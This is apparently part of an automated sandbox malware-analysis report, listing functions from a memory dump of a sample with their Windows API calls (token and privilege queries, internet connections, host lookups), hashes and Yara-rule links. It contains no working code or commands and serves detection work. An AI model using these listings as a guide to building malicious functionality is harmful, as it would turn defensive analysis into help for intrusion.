Instruction Fuzzy Hash: 9631B935510028EFCB15CF68D858EFA7BB6FB09310F948169F9099B261C7326D60DF94

Function 00248656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0024810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00248121
Part of subcall function 0024810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0024812B
Part of subcall function 0024810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0024813A
Part of subcall function 0024810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00248141
Part of subcall function 0024810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00248157

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 002486A3
_memcmp.LIBCMT ref: 002486C6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 002486FC
HeapFree.KERNEL32(00000000), ref: 00248703

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 5eba9bc4a59b8383da7615bd4e1207732aaa407d79f17bf9093d72c06096a986
Instruction ID: f01e045995548d5685f4fce9b2ff305c6e1d68a324c4660ca8ee4121c7e193cf
Opcode Fuzzy Hash: 5eba9bc4a59b8383da7615bd4e1207732aaa407d79f17bf9093d72c06096a986
Instruction Fuzzy Hash: AF21AE31E20109EFDB04DFA4CA48BEEB7B9EF40304F154059E909A7240DB30AE55CB64

Function 0021098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 002109AE

Part of subcall function 001F5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00257896,?,?,00000000), ref: 001F5A2C
Part of subcall function 001F5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00257896,?,?,00000000,?,?), ref: 001F5A50

_fprintf.LIBCMT ref: 002109E5
OutputDebugStringW.KERNEL32(?), ref: 00245DBB

Part of subcall function 00214AAA: _flsall.LIBCMT ref: 00214AC3

__setmode.LIBCMT ref: 00210A1A

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: de76737e1ec5216f19ed624077f93b6eed73092da7ea97eb56bea0265ced79cc
Instruction ID: 509faf8b532a61e389e6102dac0cbd85bea8e75c7cd62f412e5a2fde27cb4c2f
Opcode Fuzzy Hash: de76737e1ec5216f19ed624077f93b6eed73092da7ea97eb56bea0265ced79cc
Instruction Fuzzy Hash: 1F1127319242087FD708B6B49C869FE7BE99F65320F240155F20867192EFB05CF68BA4

Function 00261767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 002617A3

Part of subcall function 0026182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0026184C
Part of subcall function 0026182D: InternetCloseHandle.WININET(00000000), ref: 002618E9

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: ed42520dd9dba48fe38917c081f1439b49a6d509c2a8ddb9075d0e0fb6f1a70e
Instruction ID: ea48539a5799b3a3cd9d41430bf28ab7e7ce2ccfdba001361f5e6fbc70353e3f
Opcode Fuzzy Hash: ed42520dd9dba48fe38917c081f1439b49a6d509c2a8ddb9075d0e0fb6f1a70e
Instruction Fuzzy Hash: 4221D431224602BFEB169F60DC41FBABBA9FF48711F14402AF90597550DB71E8B09BE0

Function 00253A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0027FAC0), ref: 00253A64
GetLastError.KERNEL32 ref: 00253A73
CreateDirectoryW.KERNEL32(?,00000000), ref: 00253A82
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0027FAC0), ref: 00253ADF

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 3e731679f5af7c786319af24c58bb714acf2e013567ae265d48557e6a58c9117
Instruction ID: c8ce2172d37ca3531d88e2d08e87bd887794130e90b8466c1cafc468bff71dea
Opcode Fuzzy Hash: 3e731679f5af7c786319af24c58bb714acf2e013567ae265d48557e6a58c9117
Instruction Fuzzy Hash: AF21B1351182068F8300EF28D98586BB7E4BF153A9F105A29F899C72A2D731DA59CB86

Function 002250E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00225101

Part of subcall function 0021571C: __FF_MSGBANNER.LIBCMT ref: 00215733
Part of subcall function 0021571C: __NMSG_WRITE.LIBCMT ref: 0021573A
Part of subcall function 0021571C: RtlAllocateHeap.NTDLL(010C0000,00000000,00000001,00000000,?,?,?,00210DD3,?), ref: 0021575F

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 1cd6bf00d0ecb6e66190aa4f6dbb36c53ff9037585e6f69100c4108d870ce29a
Instruction ID: 296f5e95ec6e91a4eb0d0a9bea5b64b0c00964b45c695c934dbbabb13aeeb64c
Opcode Fuzzy Hash: 1cd6bf00d0ecb6e66190aa4f6dbb36c53ff9037585e6f69100c4108d870ce29a
Instruction Fuzzy Hash: 1411A771538A32BECF312FF4BC497AE37D95F143A1B108569F90CDA150DE7089B08A90

Function 001F44A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001F44CF

Part of subcall function 001F407C: _memset.LIBCMT ref: 001F40FC
Part of subcall function 001F407C: _wcscpy.LIBCMT ref: 001F4150
Part of subcall function 001F407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 001F4160

KillTimer.USER32(?,00000001,?,?), ref: 001F4524
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 001F4533
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0022D4B9

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 8b81feeb46c0816f779a22edfbb7d6ba5ec939a21e309dae264fe32fdd0d8a54
Instruction ID: 64673e845885930e4bbf9c95e9e8406b6b73afc41786de7ae8dc3ab8adf3ceef
Opcode Fuzzy Hash: 8b81feeb46c0816f779a22edfbb7d6ba5ec939a21e309dae264fe32fdd0d8a54
Instruction Fuzzy Hash: B121F570908798AFE732AB64A859BF7BBECAF01304F04009DE78E56151C3782A84CB51

Function 00266369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 001F5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00257896,?,?,00000000), ref: 001F5A2C
Part of subcall function 001F5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00257896,?,?,00000000,?,?), ref: 001F5A50

gethostbyname.WSOCK32(?,?,?), ref: 00266399
WSAGetLastError.WSOCK32(00000000), ref: 002663A4
_memmove.LIBCMT ref: 002663D1
inet_ntoa.WSOCK32(?), ref: 002663DC

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 36e2ecdc0c5f64857c7c288d05e1b4032800618e1fab7bae68cbad749efe80b1
Instruction ID: 6d63ff682338d2f7e697b1090e1ea76eda3e0a22ca09a370515aeaa268795d26
Opcode Fuzzy Hash: 36e2ecdc0c5f64857c7c288d05e1b4032800618e1fab7bae68cbad749efe80b1
Instruction Fuzzy Hash: 6B116031514109AFCB04FFA4DE8ADFEB7B9AF18314B144065F606A7261DB30AE64CB61

Function 00248B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00248B61
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00248B73
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00248B89
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00248BA4

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8f5983543aa425e4b8748a68a48a9b5a361f9d8c9da97aa7318be1f813fb9e86
Instruction ID: 346973cd1fc0eb271f8d069bb80089b6ad748fb66f12e5cd4ef4d2b7caeb3e6a
Opcode Fuzzy Hash: 8f5983543aa425e4b8748a68a48a9b5a361f9d8c9da97aa7318be1f813fb9e86
Instruction Fuzzy Hash: 1C115E79910218FFDB10DF95CC85F9DBB78FB48710F204095EA00B7250DA716E11DB94

Function 001F1290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 001F2612: GetWindowLongW.USER32(?,000000EB), ref: 001F2623

DefDlgProcW.USER32(?,00000020,?), ref: 001F12D8
GetClientRect.USER32(?,?), ref: 0022B5FB
GetCursorPos.USER32(?), ref: 0022B605
ScreenToClient.USER32(?,?), ref: 0022B610

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: a1e61f3dc1b33f523026c41de864d2dd7533d97b66221f8295ccc5192d08d9c5
Instruction ID: f2a6cf5cb429d506b8b6d1964cfd24208c671db1b7a5ffe49b3071b65db3b4ff
Opcode Fuzzy Hash: a1e61f3dc1b33f523026c41de864d2dd7533d97b66221f8295ccc5192d08d9c5
Instruction Fuzzy Hash: 64111335A0441DFBCB00EFA8E98A9BE77B8EB05310F600456EA11E7240C730AA919BA5

Function 0024D831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 0024D84D
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 0024D864
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 0024D879
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 0024D897

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: c02c0b682ca59fc2f48d4509aee56bd88eb394169439f6d6bed6fa643fc02398
Instruction ID: e17778b8baad73fabe309f769f1b62c9ee81b5e57f5d503f05768070bd533d66
Opcode Fuzzy Hash: c02c0b682ca59fc2f48d4509aee56bd88eb394169439f6d6bed6fa643fc02398
Instruction Fuzzy Hash: A9116175616304DBE7348F50ED0CFA3BBBCEF00B00F108969A61AD6550D7F0E55A9BA1

Function 00226FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00226FDB

Part of subcall function 002276C2: __fltout2.LIBCMT ref: 002276EB

__cftog_l.LIBCMT ref: 00227001
__cftoe_l.LIBCMT ref: 00227033

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 538a60c58d9a7636b3d90415bc99310a64d60da3ffb950aecda7b1c795863227
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: FE014C7246815ABBCF165FC4EC06CEE3F66BB28350F588415FE1858031D236CAB5AF81

Function 0027B2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0027B2E4
ScreenToClient.USER32(?,?), ref: 0027B2FC
ScreenToClient.USER32(?,?), ref: 0027B320
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0027B33B

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 354a49a30bd6671fd52007933e962b046c4e4c0b1f278ea93ab0d2fe5613f6fe
Instruction ID: c13308fee5353d450654f030a94a8ed3f0c1cf752e9809d83ff7ccfd2a91d2e9
Opcode Fuzzy Hash: 354a49a30bd6671fd52007933e962b046c4e4c0b1f278ea93ab0d2fe5613f6fe
Instruction Fuzzy Hash: 6E114775D0420AEFDB41DF99D944AEEBBF9FF08310F108166E914E3220D735AA658F50

Function 00256BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00256BE6

Part of subcall function 002576C4: _memset.LIBCMT ref: 002576F9

_memmove.LIBCMT ref: 00256C09
_memset.LIBCMT ref: 00256C16
LeaveCriticalSection.KERNEL32(?), ref: 00256C26

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: f915ad7d89723af2989835bd8b7e3d63b53f9be6301ca8f40e31748f95b70841
Instruction ID: 575125de9e862b6f1fdf02f47e3dc54770deaaea24520cab11075a953614dfd0
Opcode Fuzzy Hash: f915ad7d89723af2989835bd8b7e3d63b53f9be6301ca8f40e31748f95b70841
Instruction Fuzzy Hash: FAF0543A104100ABCF416F55EC85A8ABF69EF49321F048061FE089E227C771E865CFB4

Function 001F2218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 001F2231
SetTextColor.GDI32(?,000000FF), ref: 001F223B
SetBkMode.GDI32(?,00000001), ref: 001F2250
GetStockObject.GDI32(00000005), ref: 001F2258
GetWindowDC.USER32(?,00000000), ref: 0022BE83
GetPixel.GDI32(00000000,00000000,00000000), ref: 0022BE90
GetPixel.GDI32(00000000,?,00000000), ref: 0022BEA9
GetPixel.GDI32(00000000,00000000,?), ref: 0022BEC2
GetPixel.GDI32(00000000,?,?), ref: 0022BEE2
ReleaseDC.USER32(?,00000000), ref: 0022BEED

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 218fb55b320197e2476a58d4ce9864b26f6d85af38e93af31ac12d501a9a6b34
Instruction ID: 7af60a82ebeb16a0344509066bb545bbb5ab028babbc69a6b0ddcbdb5316ebac
Opcode Fuzzy Hash: 218fb55b320197e2476a58d4ce9864b26f6d85af38e93af31ac12d501a9a6b34
Instruction Fuzzy Hash: 21E03932108244AADF615FA4FD0D7D83B20EB15332F408366FA6D980E187B149D0DB12

Function 00248712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0024871B
OpenThreadToken.ADVAPI32(00000000,?,?,?,002482E6), ref: 00248722
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,002482E6), ref: 0024872F
OpenProcessToken.ADVAPI32(00000000,?,?,?,002482E6), ref: 00248736

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: fcb01e707dfc1191f33ecbc7172496db7e89a7f7201bf441bfdfed32462491bb
Instruction ID: 161d3bc36563609c523fff7ac08d46d74e4de38453962e0def0039fff5edf1c5
Opcode Fuzzy Hash: fcb01e707dfc1191f33ecbc7172496db7e89a7f7201bf441bfdfed32462491bb
Instruction Fuzzy Hash: 02E08636A2D2129BD7A05FB07E0CB5A7BACEF50B91F144828B649CA040DA348491C750

Function 001F6240 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

%(, xrefs: 001F624E

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID: %(
API String ID: 0-964160641
Opcode ID: b61422d0308faff30bcb3a5110950c0cd03534e7c81dcfd1f8690410cfd8719f
Instruction ID: f08b94d3208547474907441dcc4a7c3a6e514ae497dc87ec9e65d0c148e4918d
Opcode Fuzzy Hash: b61422d0308faff30bcb3a5110950c0cd03534e7c81dcfd1f8690410cfd8719f
Instruction Fuzzy Hash: 1DB1AC7180410EAACF24EF94C8959FEBBB9FF54310F144126EB06A7191EB309E82CB91

Function 0026AEA2 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

__itow_s.LIBCMT ref: 0026AFAE

Strings

xb+, xrefs: 0026AFE4
xb+, xrefs: 0026B010

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __itow_s
String ID: xb+$xb+
API String ID: 3653519197-1057161362
Opcode ID: 4334903639602356788677cbc783a06af474226a053c5578248ec55dd88cc05a
Instruction ID: fdf0b9773eced1bb7816f7891aaad1ee84148c9f98be28bbd9e0d84965a4d435
Opcode Fuzzy Hash: 4334903639602356788677cbc783a06af474226a053c5578248ec55dd88cc05a
